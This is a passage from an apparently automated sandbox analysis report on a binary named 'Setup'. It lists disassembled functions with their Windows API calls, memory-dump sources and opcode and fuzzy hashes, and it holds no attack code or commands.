                    • Opcode Fuzzy Hash: 7f0c1b1a179a3b09a6a19488affd130c8792208395edcda6b02c07f58ac75aa6
                    • Instruction Fuzzy Hash: BF317F74610206EFD708CF99D454B6DB7F6EF88B50B21C4ADD91D8B390CB78A900CB46
                    Function 6E0D98D7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83windowCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: MessageTrace
                    • String ID: <NULL>$NULL
                    • API String ID: 471583391-888386124
                    • Opcode ID: a38901b74cf159657adf6c5bf0cd335a76d955f5f3c0efcf39057fd7c92496e5
                    • Instruction ID: 759c32720e6c0d6d1787944fe5b74aea5a87af8e3869aff8f7da9b6a9f66e59b
                    • Opcode Fuzzy Hash: a38901b74cf159657adf6c5bf0cd335a76d955f5f3c0efcf39057fd7c92496e5
                    • Instruction Fuzzy Hash: 1321F131614307EEDB014FCDCC20BABB7B1EB8A790F858014E9559B194E7F0DA998780
                    Function 6E0D877C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80windowCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: MessageTrace
                    • String ID: <NULL>$NULL
                    • API String ID: 471583391-888386124
                    • Opcode ID: 1bb9220a2ad81205ed69ec894c9e2e218234a0da82bf9a298b47b863e05bbdc8
                    • Instruction ID: 140ce2b8531b1bdd5bdc685fadd927c0ed55f86b0cfa04b6184524126d4ae459
                    • Opcode Fuzzy Hash: 1bb9220a2ad81205ed69ec894c9e2e218234a0da82bf9a298b47b863e05bbdc8
                    • Instruction Fuzzy Hash: AC21D435A0430ADFD7015FCACC05BA737B5EF85760F049015F9108B284EBB4D9A98BA0
                    Function 6E0D9AFF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                    Download Yara Rule
                    APIs
                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,?,V.n,00000000,00000000,?,00000000,?,6E0D2E56,?,?,00000100,?), ref: 6E0D9B37
                    • GetLastError.KERNEL32(?,6E0D2E56,?,?,00000100,?,?,00000000), ref: 6E0D9B49
                      • Part of subcall function 6E0D99F8: EtwTraceMessage.NTDLL ref: 6E0D9A13
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ByteCharErrorLastMessageMultiTraceWide
                    • String ID: V.n
                    • API String ID: 1881890961-3797276314
                    • Opcode ID: 7aa14c522df15960ec7e035e19f1ce8e8ec971aa16a99524d07533858e3dcb92
                    • Instruction ID: e8c72c8eeada0193c2f43caf5cfc19e1598dab64ff86fbb53270bd24c9c6fbdb
                    • Opcode Fuzzy Hash: 7aa14c522df15960ec7e035e19f1ce8e8ec971aa16a99524d07533858e3dcb92
                    • Instruction Fuzzy Hash: 2211E631140346BFDB419EE4CDB4FA67B9DEF053A8B824464F855DB162D6B2C848D760
                    Function 6E0D8844 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: MessageTrace
                    • String ID: <NULL>$NULL
                    • API String ID: 471583391-888386124
                    • Opcode ID: d7591768f8b8334083bb42188a7532553c6df627084737f753973e2339fa242c
                    • Instruction ID: a0c85d276ef9a0d7b7f7015d194144d497bb9c502bb66275731d2018cd4f38ae
                    • Opcode Fuzzy Hash: d7591768f8b8334083bb42188a7532553c6df627084737f753973e2339fa242c
                    • Instruction Fuzzy Hash: 5901DF7264030AEEEB089E88CC12FBB3775FB85740F149014FA109A094E7B0D9A8C3A0
                    Function 6E0D77B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: MessageTrace
                    • String ID: <NULL>$NULL
                    • API String ID: 471583391-888386124
                    • Opcode ID: 536e11ec6f973aa7aca59761f05b2d51bdeeff1f40a4eb1206a8e4ba6655b6cd
                    • Instruction ID: 90584ae3cd5ae34388381a27cfb71ff08f82c1683e45fefbc6556458e1b525a4
                    • Opcode Fuzzy Hash: 536e11ec6f973aa7aca59761f05b2d51bdeeff1f40a4eb1206a8e4ba6655b6cd
                    • Instruction Fuzzy Hash: D901D67664030BEFEB055E88CC51FA73B76EB85B20F088455FA004E0D4D7B0D999C781
                    Function 6E0D88BE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: MessageTrace
                    • String ID: <NULL>$NULL
                    • API String ID: 471583391-888386124
                    • Opcode ID: 0a944b8ac03bbbafc1663bd1dc4315c5129341184fb1365c6e522abb6e78a446
                    • Instruction ID: d0a6409c7e68098a1213bc07b103462fc78f21c8bd6243c9fe7c53df5f05c85f
                    • Opcode Fuzzy Hash: 0a944b8ac03bbbafc1663bd1dc4315c5129341184fb1365c6e522abb6e78a446
                    • Instruction Fuzzy Hash: F101D63264030AEEEB055E89CC11FAB7B79EF85700F44D011FA509F194D770D9A987A1
                    Function 6E0D774A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44windowCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: MessageTrace
                    • String ID: <NULL>$NULL
                    • API String ID: 471583391-888386124
                    • Opcode ID: c1c7c026101d8276c0c46ee3cb35544a7380167e31f5c30803ac0c71c46d99fb
                    • Instruction ID: 14b3d36ccb926ab83840f6e17cad206f35a1bc246bc8fc12e87d4e2dcd69073c
                    • Opcode Fuzzy Hash: c1c7c026101d8276c0c46ee3cb35544a7380167e31f5c30803ac0c71c46d99fb
                    • Instruction Fuzzy Hash: 9A01A43564030AEEEB055EC8CC55FAB3776EB85760F188811FA109E1D4D770D9988781
                    Function 6E0CABD9 Relevance: 5.2, APIs: 4, Instructions: 199COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0CAC0D
                    • EnterCriticalSection.KERNEL32(6E0E0168,00000000,?), ref: 6E0CAC9C
                    • LeaveCriticalSection.KERNEL32(6E0E0168), ref: 6E0CACFB
                    • SetLastError.KERNEL32(00000000), ref: 6E0CAD1E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterErrorLastLeavememset
                    • String ID:
                    • API String ID: 3008345650-0
                    • Opcode ID: d177b84a70c6eee2ba2f18febbc9ea82543ff098fe7c33f8c5bc71a60380c9ee
                    • Instruction ID: e1fa3bd77b3d24a132b6180afbe0e304405f487e4f2ac61b3df5ceb5a58b9e5f
                    • Opcode Fuzzy Hash: d177b84a70c6eee2ba2f18febbc9ea82543ff098fe7c33f8c5bc71a60380c9ee
                    • Instruction Fuzzy Hash: 6A71F8305443499FDB91DED4CC95FFE36BAAF14B88F1004A4E9169B1A2D770C985CF52